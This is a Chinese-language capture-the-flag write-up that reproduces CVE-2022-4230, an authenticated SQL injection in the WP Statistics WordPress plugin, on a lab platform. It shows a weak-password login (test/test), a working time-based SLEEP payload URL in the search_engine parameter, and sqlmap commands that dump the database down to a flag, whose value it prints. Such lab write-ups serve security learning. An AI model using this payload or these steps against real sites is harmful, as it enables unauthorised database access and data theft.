CVE-2022-4230复现(春秋云镜)
一.漏洞介绍
在wordpress使用的低于13.2.9版本的wp statistics插件,允许除了具备admin权限的其它的低权限的用户也能访问它,且对指定url下的search_engine参数的值没有进行转义(根据后期观察除了返回相同页面,不显示mysql报错外,应该是没有进行其它的任何sql防护了,很可能直接将search_engine的值拼接到了后端的动态sql语句中)。这就可能导致SQLi(sql injection)。
二.漏洞复现

刚访问上来一片空白,这应该是它的主页,那么下一步就是要找这个网站的后台,我想到的有两种方法:
(1)用工具爆破其子目录,找到其中的敏感文件/路径(可以用御剑后台扫描、dirsearch等)
(2)wordpress默认后台登录页面的路径为:/wp-login.php
方法(2)就直接访问默认后台登录页面即可,我这里就主要演示方法(2)

点击login.page

跳转至后台登录页面,且观察网页可以知道其中有一个用户的用户名为test,接下来也有几种处理方式:
(1)尝试弱口令登录,密码填写test
(2)抓包,然后尝试bp爆破密码
(3)使用wpscan暴力破解test用户对应的密码
通过上述方式都可以知道test用户对应的密码就是test

可以看到wordpress安装了wp statistics(wp 统计)插件,并且版本在13.2.9以内,在cve-2022-4230的影响范围内。漏洞利用的条件、payload和演示如下:
以允许查看WP统计数据的用户身份登录,并通过https://example.com/wp-admin/admin-ajax.php?action=rest-nonce获得一个随机数nonce,并在下面的URL中使用,效果为页将延迟5s后返回:
http://example.com/wp-json/wp-statistics/v2/metabox?_wpnonce=NONCE&name=words&search_engine=aaa%27%20AND%20(SELECT%205671%20FROM%20(SELECT(SLEEP(5)))Mdgs)--%20HsBR
更多详细可以参考wpscan的官方文档:
WP Statistics < 13.2.9 – Authenticated SQLi | CVE 2022-4230 | Plugin Vulnerabilities
通过上面的payload可知注入点在search_engine参数中,并且很可能只存在时间盲注,我们现在可以先去测试一下这个payload:

获取一个随机数

返回了一个数据,这里向search_engine中传入任何值,回显的数据都是相同的,说明这里只能使用时间盲注 。
但当修改nonce时,会显示cookie检查失败。猜测这里的机制应该是用户先向server获取一个一定时间内有效的nonce,之后携带该nonce访问指定的路径,若与server中的nonce相同则表示合法访问,返回数据;若不相同则返回cookie检查失败。
这里知道是时间盲注后接下来的事情就可以交给sqlmap了,但需要注意的是我们需要先通过bp将请求包截取下来保存到本地,然后交给sqlmap来跑,这是因为该漏洞的利用条件是必须由具备查看wp统计数据的用户所发起的请求才可以,若想查看wp统计数据则必须先登录后台。
接下来的sqlmap命令如下:
-爆库名:
sqlmay -r test.txt --dbs --batch
-爆表名:
sqlmay -r test.txt -D wordpress --tables --batch(这里就能看到flag这张表)
-爆字段名:
sqlmay -r test.txt -D wordpress -T flag --columns --batch(能够看到flag表中的flag字段)
-爆数据:
sqlmay -r test.txt -D wordpress -T flag -C flag --dump --batch(出结果后就可以获得flag)
在这里我就不展示过程截图了,因为时间盲注即是使用自动化攻击工具,它的枚举时间也是挺长的。最后的flag如下:
flag{9037e2bb-4ebe-4d33-ba26-85b8d6e4a2d4}

浙公网安备 33010602011771号